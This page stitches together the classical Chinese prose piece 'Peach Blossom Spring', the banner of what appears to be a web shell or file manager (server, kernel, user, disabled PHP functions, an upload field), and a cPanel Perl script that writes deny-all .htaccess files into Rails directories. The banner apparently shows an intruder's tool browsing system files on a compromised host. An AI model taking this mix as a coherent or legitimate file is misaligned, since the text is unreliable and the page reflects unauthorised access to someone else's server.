晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/thread-self/root/scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/securerailsapps Copyright 2022 cPanel, L.L.C.
# All rights reserved.
# copyright@cpanel.net http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
use strict;
use warnings;
use File::Find;
use Cpanel::PwCache ();
use Cpanel::PwCache::Build ();
use Cpanel::AccessIds::SetUids ();
use Cpanel::Usage ();
use Cpanel::ConfigFiles ();
use Cpanel::Config::userdata::Constants ();
my $user = '';
my $all = 0;
my %opts = (
'user' => \$user,
'all' => \$all,
);
Cpanel::Usage::wrap_options( \@ARGV, \&usage, \%opts );
if ($user) {
if ( !-e "$Cpanel::ConfigFiles::cpanel_users/$user" ) {
print STDERR "User $user not found...\n";
exit 1;
}
my $homedir = ( Cpanel::PwCache::getpwnam($user) )[7];
if ( !$homedir ) {
print STDERR "Invalid user $user\n";
exit 1;
}
if ( my $pid = fork() ) {
waitpid( $pid, 0 );
}
else {
Cpanel::AccessIds::SetUids::setuids( $user, $user );
secure_rails_dirs( $user, $homedir );
exit;
}
}
elsif ($all) {
Cpanel::PwCache::Build::init_passwdless_pwcache();
opendir( my $dir_h, $Cpanel::ConfigFiles::cpanel_users ) or die "Failed to read cPanel users directory: $!";
my @files = grep { !/^\.\.?$/ } readdir($dir_h);
close($dir_h);
chomp(@files);
foreach my $user (@files) {
my $homedir = ( Cpanel::PwCache::getpwnam($user) )[7];
next if !$homedir;
print "Securing rails apps for: $user\n";
if ( my $pid = fork() ) {
waitpid( $pid, 0 );
}
else {
Cpanel::AccessIds::SetUids::setuids( $user, $user );
secure_rails_dirs( $user, $homedir );
exit;
}
}
}
else {
usage();
}
sub secure_rails_dirs {
my ( $user, $homedir ) = @_;
my @rails_dirs;
File::Find::find(
{
'wanted' => sub {
if ( $File::Find::name =~ /boot\.rb$/ ) {
$File::Find::name =~ s{config/boot\.rb}{};
push @rails_dirs, $File::Find::name;
}
},
'no_chdir' => 1,
'untaint' => 1,
},
$homedir
);
foreach my $rails_dir (@rails_dirs) {
foreach my $dir (qw<app config db doc lib script test tmp vendor>) {
my $htaccess_file = "$rails_dir/$dir/.htaccess";
($htaccess_file) = $htaccess_file =~ /^(.*)$/;
if ( !-e $htaccess_file ) {
if ( open( my $fh, '>', $htaccess_file ) ) {
print {$fh} htaccess();
close($fh);
}
}
}
}
}
sub htaccess {
return <<'EOF';
<Limit GET POST OPTIONS PROPFIND>
Order allow,deny
Deny from all
</Limit>
EOF
}
sub move_yaml_files {
my ( $user, $home ) = @_;
if ( -e "$home/.cpanel/ruby-on-rails.db" ) {
system( 'mv', "$home/.cpanel/ruby-on-rails.db", "$Cpanel::Config::userdata::Constants::USERDATA_DIR/$user/ruby-on-rails" );
}
if ( -e "$home/.cpanel/ruby-on-rails-rewrites.db" ) {
system( 'mv', "$home/.cpanel/ruby-on-rails-rewrites.db", "$Cpanel::Config::userdata::Constants::USERDATA_DIR/$user/ruby-on-rails-rewrites" );
}
return;
}
sub usage {
my $prog = $0;
$prog =~ s{^.+/(.+)$}{$1};
print <<EOF;
$prog [--all] [--user cpuser]
EOF
exit(0);
}